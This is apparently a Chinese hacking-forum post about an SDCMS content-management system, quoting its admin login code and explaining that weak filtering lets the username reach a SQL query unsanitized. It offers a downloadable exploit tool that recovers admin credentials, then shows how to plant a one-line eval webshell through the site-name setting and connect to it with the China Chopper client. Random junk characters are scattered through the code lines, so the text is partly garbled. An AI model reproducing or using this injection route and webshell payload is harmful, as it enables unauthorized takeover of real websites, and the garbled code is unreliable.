SDCMS通杀漏洞利用工具及提权拿SHELL

admin

作者：T00LS 鬼哥
& a3 Q; e/ ]6 |漏洞文件：后台目录/index.asp

Sub Check
& J8 ]9 s& H& I  y) K    Dim username,password,code,getcode,Rs
! v! ]3 {7 j3 C! s* B  O7 f- \3 q: ?    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
# {5 O/ a3 a9 F2 P3 r8 p6 t' C    username=FilterText(Trim(Request.Form("username")),1)
    password=FilterText(Trim(Request.Form("password")),1)
$ h6 I+ |: `4 ?8 S: @) t) y- M2 b( t) r    code=Trim(Request.Form("yzm"))
1 c8 f& N" }, r7 |    getcode=Session("SDCMSCode")
    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
$ Z7 M% x; b/ O# P: ?    IF code="" Then Alert "验证码不能为空！","javascript:history.go(-1)"ied
    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字！","javascript:history.go(-1)"ied
    IF code<>getcode Then Alert "验证码错误！","javascript:history.go(-1)"ied
    IF username="" or password="" Then
        Echo "用户名或密码不能为空"ied
8 K; `; C, x$ @    Else
        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
$ v/ F, Q3 t2 f! G- _2 \! r        IF Rs.Eof Then
. X0 d$ [  K$ O+ E            AddLog username,GetIp,"登录失败",1
7 m& u) ]3 Y5 K4 P0 W! ^            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
        Else
            Add_Cookies "sdcms_id",Rs(0)
+ N7 Z! Y/ w: X* `            Add_Cookies "sdcms_name",username
/ q8 B0 n8 y5 Y; M% B4 y5 [            Add_Cookies "sdcms_pwd",Rs(2)
6 A$ R# W1 p$ T4 F# k, ^2 }% R            Add_Cookies "sdcms_admin",Rs(3)
( B: W4 X; m& O4 g8 v            Add_Cookies "sdcms_alllever",Rs(4)
            Add_Cookies "sdcms_infolever",Rs(5)
            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
            AddLog username,GetIp,"登录成功",1
            '自动删除30天前的Log记录
            IF Sdcms_DataType Then
( ?: C: @( ^( `                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
2 Z& F) p, k4 ^% y5 E( B- s            Else
                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
+ u: `4 i' b+ T- t' U1 R* X8 ^            End IF
            Go("sdcms_index.asp")
8 w8 i$ t. G1 X        End IF
5 X, `1 W: Y; v        Rs.Close
. c0 Z* j3 S# F/ T/ Q- d        Set Rs=Nothing
$ N! T, s) R7 Q. g- d    End IF
End Sub

’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码

) N; Q+ f4 s5 L$ W8 Y0 z3 oFunction FilterText(ByVal t0,ByVal t1)
    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
    t0=Trim(t0)
7 i7 S5 h& N6 W    Select Case t1
3 _9 t- [5 O. f, x2 m        Case "1"
9 |, B; i( w' A            t0=Replace(t0,Chr(32),"")
- T  F6 r, m$ \1 s$ z! x            t0=Replace(t0,Chr(13),"")
9 Z' ?7 {6 {9 L( |1 l. _: W! X            t0=Replace(t0,Chr(10)&Chr(10),"")
* g5 X- |7 X8 {& t. Q, I            t0=Replace(t0,Chr(10),"")
        Case "2"
            t0=Replace(t0,Chr(8),"")'回格
( G" D* r: c3 M  F/ \. ]+ N            t0=Replace(t0,Chr(9),"")'tab(水平制表符)
            t0=Replace(t0,Chr(10),"")'换行
            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
            t0=Replace(t0,Chr(12),"")'换页
            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
* W# ]/ b6 ]0 c6 e            t0=Replace(t0,Chr(22),"")
            t0=Replace(t0,Chr(32),"")'空格 SPACE
  y7 T! P, W1 e9 b$ Q7 E* G6 \            t0=Replace(t0,Chr(33),"")'!
            t0=Replace(t0,Chr(34),"")'"
            t0=Replace(t0,Chr(35),"")'#
            t0=Replace(t0,Chr(36),"")'$
            t0=Replace(t0,Chr(37),"")'%
            t0=Replace(t0,Chr(38),"")'&
/ O( U  G0 L4 u9 i0 i8 s+ V$ F            t0=Replace(t0,Chr(39),"")''
            t0=Replace(t0,Chr(40),"")'(
            t0=Replace(t0,Chr(41),"")')
            t0=Replace(t0,Chr(42),"")'*
+ {# Y" q) ?! R, B7 t+ r            t0=Replace(t0,Chr(43),"")'+
6 K- Z- l/ G  O            t0=Replace(t0,Chr(44),"")',
            t0=Replace(t0,Chr(45),"")'-
            t0=Replace(t0,Chr(46),"")'.
: t* M3 F  M6 E' t9 v/ K            t0=Replace(t0,Chr(47),"")'/
            t0=Replace(t0,Chr(58),"")':
            t0=Replace(t0,Chr(59),"")';
, Z8 `8 ^8 A  e            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>
5 J! \% Y! V8 t            t0=Replace(t0,Chr(63),"")'?
            t0=Replace(t0,Chr(64),"")'@
            t0=Replace(t0,Chr(91),"")'\
            t0=Replace(t0,Chr(92),"")'\
            t0=Replace(t0,Chr(93),"")']
            t0=Replace(t0,Chr(94),"")'^
            t0=Replace(t0,Chr(95),"")'_
  ^$ z; o) \1 U" _0 X2 r            t0=Replace(t0,Chr(96),"")'`
9 F8 n" I$ M: I* E9 i+ Q0 g            t0=Replace(t0,Chr(123),"")'{
            t0=Replace(t0,Chr(124),"")'|
            t0=Replace(t0,Chr(125),"")'}
) W' q; T6 O' h' }( ]/ J1 L2 T; \            t0=Replace(t0,Chr(126),"")'~
    Case Else
        t0=Replace(t0, "&", "&")
( _, ], V6 q/ @/ F" q  J  h8 o        t0=Replace(t0, "'", "'")
5 ^1 x, q1 K4 @9 a8 p1 O( E( `6 }        t0=Replace(t0, """", """)
0 b6 L  Z' b; Y8 k* _9 s        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
    End Select
    IF Instr(Lcase(t0),"expression")>0 Then
  C% m7 E0 O/ W0 f6 X: U        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)
+ Y9 k/ \+ V  M7 }9 h    End If
' ^4 d4 O( T6 T    FilterText=t0
% ?  x* f' h8 h/ tEnd Function
& `# n7 _$ @" i0 K# y# g' l1 [; d, j8 k
1 e4 e/ {- ?+ a: H- B) O& N3 a& R  S- M看到没。直接参数是1 只过滤
                        t0=Replace(t0,Chr(32)," ")
+ _/ e* U1 Q/ \$ U                        t0=Replace(t0,Chr(13),"")
# y) h) ~) X7 S( E8 e                        t0=Replace(t0,Chr(10)&Chr(10),"
; \2 \* ~1 l6 Q2 U. R  u2 \- H")
9 |5 `) D# [2 n# k                        t0=Replace(t0,Chr(10),"
* I+ n7 e5 H; ?; P9 O")
, v3 b! e+ D/ n# ]6 k漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
8 _" F0 M; Y- D, |
测试:
+ Y4 }0 h7 u( \9 A
6 T& N( u7 M2 o  H, P! C
% S: K& n! y* y0 V6 _1 ]现在输入工具上验证码,然后点OK
7 Y5 @: [9 C$ Q' b5 p  V
7 \. ~2 s& R4 j
看到我们直接进入后台管理界面了,呵呵!
" j6 I# ~# O9 V5 Z7 O" T( v- A

/ }9 M- m' L8 Y) B5 |- G
这样直接进入后台了。。。。

; j7 X" W5 |/ {$ G

" F+ A& j7 }8 h0 B0 vSDCMS提权:

方法1：访问：/后台目录/sdcms_set.asp 在 网站名称：后面加个 “:eval(request(Chr(63)))’  即可，直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?

1 h& _+ e  k9 Q" h6 z2 `+ G

! u$ `. O0 ]7 ^OK,现在用菜刀连接下!


2 I- `  S$ o- U1 ^7 ?: r! t

3 M1 ]9 k/ L% k# e0 r7 P. s' Y